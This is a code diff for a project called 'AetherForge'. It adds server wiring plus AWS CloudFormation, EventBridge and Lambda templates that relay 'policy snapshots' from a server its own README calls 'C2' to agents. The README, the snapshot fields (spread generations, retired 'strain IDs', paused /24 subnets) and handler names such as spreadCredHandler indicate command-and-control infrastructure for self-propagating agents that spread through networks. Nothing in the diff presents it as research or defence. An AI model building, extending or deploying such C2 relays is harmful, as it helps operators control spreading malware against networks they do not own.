deployPlanHandler.BindPathTracer(pathTracerHandler)
|
||||||
spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler)
|
spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler)
|
||||||
|
policyFanoutCfgFn := func() api.PolicyFanoutConfig {
|
||||||
|
return api.PolicyFanoutConfig{
|
||||||
|
Token: cfg.Server.PolicySnapshotToken,
|
||||||
|
RelayURL: cfg.Server.EventBridgeRelayURL,
|
||||||
|
PublicBaseURL: func() string { return configProvider.PublicURL() },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
publicHandler.BindPolicySnapshot(
|
||||||
|
func() (api.PolicySnapshot, error) {
|
||||||
|
return api.BuildPolicySnapshot(database, pathTracerHandler, policyFanoutCfgFn())
|
||||||
|
},
|
||||||
|
func() string { return cfg.Server.PolicySnapshotToken },
|
||||||
|
)
|
||||||
|
spreadHandler.BindPolicyFanout(pathTracerHandler, policyFanoutCfgFn)
|
||||||
|
wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
|
||||||
|
return configProvider.PublicURL()
|
||||||
|
})
|
||||||
|
|
||||||
seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database}
|
seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database}
|
||||||
fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{
|
fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{
|
||||||
@@ -437,6 +468,17 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
|
|||||||
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
|
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
|
||||||
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled,
|
||||||
})
|
})
|
||||||
|
publicBase := strings.TrimSpace(cfg.Server.PublicURL)
|
||||||
|
if publicBase == "" {
|
||||||
|
port := cfg.Port
|
||||||
|
if port <= 0 {
|
||||||
|
port = 8989
|
||||||
|
}
|
||||||
|
publicBase = fmt.Sprintf("http://127.0.0.1:%d", port)
|
||||||
|
}
|
||||||
|
wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
|
||||||
|
return publicBase
|
||||||
|
})
|
||||||
}
|
}
|
||||||
if poolManager != nil {
|
if poolManager != nil {
|
||||||
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
|
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
|
||||||
|
|||||||
8
server/web/public/spread/aws/README.txt
Normal file
8
server/web/public/spread/aws/README.txt
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
AetherForge EventBridge policy fan-out (standalone degraded mode)
|
||||||
|
===============================================================
|
||||||
|
|
||||||
|
Poll URL: {{POLICY_POLL_URL}}
|
||||||
|
Webhook relay: {{WEBHOOK_URL}}
|
||||||
|
Server: {{SERVER_URL}}
|
||||||
|
|
||||||
|
See templates/spread/aws/policy-fanout/README.txt in the repo for full instructions.
|
||||||
43
server/web/public/spread/aws/cloudformation.json
Normal file
43
server/web/public/spread/aws/cloudformation.json
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
{
|
||||||
|
"AWSTemplateFormatVersion": "2010-09-09",
|
||||||
|
"Description": "AetherForge policy snapshot fan-out — polls POLICY_POLL_URL and POSTs to relay",
|
||||||
|
"Parameters": {
|
||||||
|
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
|
||||||
|
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
|
||||||
|
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
|
||||||
|
},
|
||||||
|
"Resources": {
|
||||||
|
"PolicyFanoutFunction": {
|
||||||
|
"Type": "AWS::Lambda::Function",
|
||||||
|
"Properties": {
|
||||||
|
"Runtime": "nodejs18.x",
|
||||||
|
"Handler": "index.handler",
|
||||||
|
"Timeout": 30,
|
||||||
|
"Environment": {
|
||||||
|
"Variables": {
|
||||||
|
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
|
||||||
|
"WEBHOOK_URL": { "Ref": "WebhookURL" }
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"PolicyFanoutRule": {
|
||||||
|
"Type": "AWS::Events::Rule",
|
||||||
|
"Properties": {
|
||||||
|
"ScheduleExpression": { "Ref": "ScheduleRate" },
|
||||||
|
"State": "ENABLED",
|
||||||
|
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"PolicyFanoutPermission": {
|
||||||
|
"Type": "AWS::Lambda::Permission",
|
||||||
|
"Properties": {
|
||||||
|
"Action": "lambda:InvokeFunction",
|
||||||
|
"FunctionName": { "Ref": "PolicyFanoutFunction" },
|
||||||
|
"Principal": "events.amazonaws.com",
|
||||||
|
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
12
server/web/public/spread/aws/eventbridge-rule.json
Normal file
12
server/web/public/spread/aws/eventbridge-rule.json
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"Comment": "AetherForge policy snapshot fan-out",
|
||||||
|
"ScheduleExpression": "rate(5 minutes)",
|
||||||
|
"State": "ENABLED",
|
||||||
|
"Targets": [
|
||||||
|
{
|
||||||
|
"Id": "PolicySnapshotRelay",
|
||||||
|
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
|
||||||
|
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
47
server/web/public/spread/aws/lambda/index.js
Normal file
47
server/web/public/spread/aws/lambda/index.js
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
const https = require('https');
|
||||||
|
const http = require('http');
|
||||||
|
|
||||||
|
const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
|
||||||
|
const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
|
||||||
|
|
||||||
|
exports.handler = async function () {
|
||||||
|
const snapshot = await fetchJSON(POLL_URL);
|
||||||
|
if (WEBHOOK_URL) {
|
||||||
|
await postJSON(WEBHOOK_URL, snapshot);
|
||||||
|
}
|
||||||
|
return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
|
||||||
|
};
|
||||||
|
|
||||||
|
function fetchJSON(url) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const lib = url.startsWith('https') ? https : http;
|
||||||
|
lib.get(url, (res) => {
|
||||||
|
let body = '';
|
||||||
|
res.on('data', (c) => { body += c; });
|
||||||
|
res.on('end', () => {
|
||||||
|
try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
|
||||||
|
});
|
||||||
|
}).on('error', reject);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function postJSON(url, obj) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const data = JSON.stringify(obj);
|
||||||
|
const u = new URL(url);
|
||||||
|
const lib = u.protocol === 'https:' ? https : http;
|
||||||
|
const req = lib.request({
|
||||||
|
hostname: u.hostname,
|
||||||
|
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
||||||
|
path: u.pathname + u.search,
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
||||||
|
}, (res) => {
|
||||||
|
res.on('data', () => {});
|
||||||
|
res.on('end', resolve);
|
||||||
|
});
|
||||||
|
req.on('error', reject);
|
||||||
|
req.write(data);
|
||||||
|
req.end();
|
||||||
|
});
|
||||||
|
}
|
||||||
26
templates/spread/aws/policy-fanout/README.txt
Normal file
26
templates/spread/aws/policy-fanout/README.txt
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
AetherForge EventBridge policy fan-out (standalone degraded mode)
|
||||||
|
===============================================================
|
||||||
|
|
||||||
|
No AWS signup required — apply these templates in your own account or skip AWS entirely
|
||||||
|
and let agents poll {{POLICY_POLL_URL}} directly every 5 minutes.
|
||||||
|
|
||||||
|
Files
|
||||||
|
-----
|
||||||
|
- cloudformation.json — Lambda + EventBridge rule + IAM (optional API Gateway relay)
|
||||||
|
- eventbridge-rule.json — standalone EventBridge rule targeting your relay URL
|
||||||
|
- lambda/index.js — fetches policy snapshot from C2 and POSTs to {{WEBHOOK_URL}}
|
||||||
|
|
||||||
|
Placeholders (replaced by Emberwake export)
|
||||||
|
-------------------------------------------
|
||||||
|
{{SERVER_URL}} — your command-deck public URL
|
||||||
|
{{POLICY_POLL_URL}} — lightweight agent poll endpoint (token-gated)
|
||||||
|
{{WEBHOOK_URL}} — optional EventBridge relay (API Gateway, Lambda URL, etc.)
|
||||||
|
|
||||||
|
Snapshot fields
|
||||||
|
---------------
|
||||||
|
genesis_version — max spread_generation across fleet
|
||||||
|
hospice_list — retired strain IDs
|
||||||
|
vaccination_lanes — paused /24 subnets with Path Tracer route hints
|
||||||
|
|
||||||
|
Agent zero-server mode prefers EventBridge relay URL from the last policy snapshot,
|
||||||
|
then poll URL, then 30-minute C2 reconnect.
|
||||||
47
templates/spread/aws/policy-fanout/cloudformation.json
Normal file
47
templates/spread/aws/policy-fanout/cloudformation.json
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
{
|
||||||
|
"AWSTemplateFormatVersion": "2010-09-09",
|
||||||
|
"Description": "AetherForge policy snapshot fan-out — polls {{POLICY_POLL_URL}} and POSTs to relay",
|
||||||
|
"Parameters": {
|
||||||
|
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
|
||||||
|
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
|
||||||
|
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
|
||||||
|
},
|
||||||
|
"Resources": {
|
||||||
|
"PolicyFanoutFunction": {
|
||||||
|
"Type": "AWS::Lambda::Function",
|
||||||
|
"Properties": {
|
||||||
|
"Runtime": "nodejs18.x",
|
||||||
|
"Handler": "index.handler",
|
||||||
|
"Timeout": 30,
|
||||||
|
"Environment": {
|
||||||
|
"Variables": {
|
||||||
|
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
|
||||||
|
"WEBHOOK_URL": { "Ref": "WebhookURL" }
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"PolicyFanoutRule": {
|
||||||
|
"Type": "AWS::Events::Rule",
|
||||||
|
"Properties": {
|
||||||
|
"ScheduleExpression": { "Ref": "ScheduleRate" },
|
||||||
|
"State": "ENABLED",
|
||||||
|
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"PolicyFanoutPermission": {
|
||||||
|
"Type": "AWS::Lambda::Permission",
|
||||||
|
"Properties": {
|
||||||
|
"Action": "lambda:InvokeFunction",
|
||||||
|
"FunctionName": { "Ref": "PolicyFanoutFunction" },
|
||||||
|
"Principal": "events.amazonaws.com",
|
||||||
|
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"Outputs": {
|
||||||
|
"PolicyPollURL": { "Value": { "Ref": "PolicyPollURL" } },
|
||||||
|
"WebhookURL": { "Value": { "Ref": "WebhookURL" } }
|
||||||
|
}
|
||||||
|
}
|
||||||
12
templates/spread/aws/policy-fanout/eventbridge-rule.json
Normal file
12
templates/spread/aws/policy-fanout/eventbridge-rule.json
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"Comment": "AetherForge policy snapshot fan-out — operator-applied EventBridge rule",
|
||||||
|
"ScheduleExpression": "rate(5 minutes)",
|
||||||
|
"State": "ENABLED",
|
||||||
|
"Targets": [
|
||||||
|
{
|
||||||
|
"Id": "PolicySnapshotRelay",
|
||||||
|
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
|
||||||
|
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
47
templates/spread/aws/policy-fanout/lambda/index.js
Normal file
47
templates/spread/aws/policy-fanout/lambda/index.js
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
const https = require('https');
|
||||||
|
const http = require('http');
|
||||||
|
|
||||||
|
const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
|
||||||
|
const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
|
||||||
|
|
||||||
|
exports.handler = async function () {
|
||||||
|
const snapshot = await fetchJSON(POLL_URL);
|
||||||
|
if (WEBHOOK_URL) {
|
||||||
|
await postJSON(WEBHOOK_URL, snapshot);
|
||||||
|
}
|
||||||
|
return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
|
||||||
|
};
|
||||||
|
|
||||||
|
function fetchJSON(url) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const lib = url.startsWith('https') ? https : http;
|
||||||
|
lib.get(url, (res) => {
|
||||||
|
let body = '';
|
||||||
|
res.on('data', (c) => { body += c; });
|
||||||
|
res.on('end', () => {
|
||||||
|
try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
|
||||||
|
});
|
||||||
|
}).on('error', reject);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function postJSON(url, obj) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const data = JSON.stringify(obj);
|
||||||
|
const u = new URL(url);
|
||||||
|
const lib = u.protocol === 'https:' ? https : http;
|
||||||
|
const req = lib.request({
|
||||||
|
hostname: u.hostname,
|
||||||
|
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
||||||
|
path: u.pathname + u.search,
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
||||||
|
}, (res) => {
|
||||||
|
res.on('data', () => {});
|
||||||
|
res.on('end', resolve);
|
||||||
|
});
|
||||||
|
req.on('error', reject);
|
||||||
|
req.write(data);
|
||||||
|
req.end();
|
||||||
|
});
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user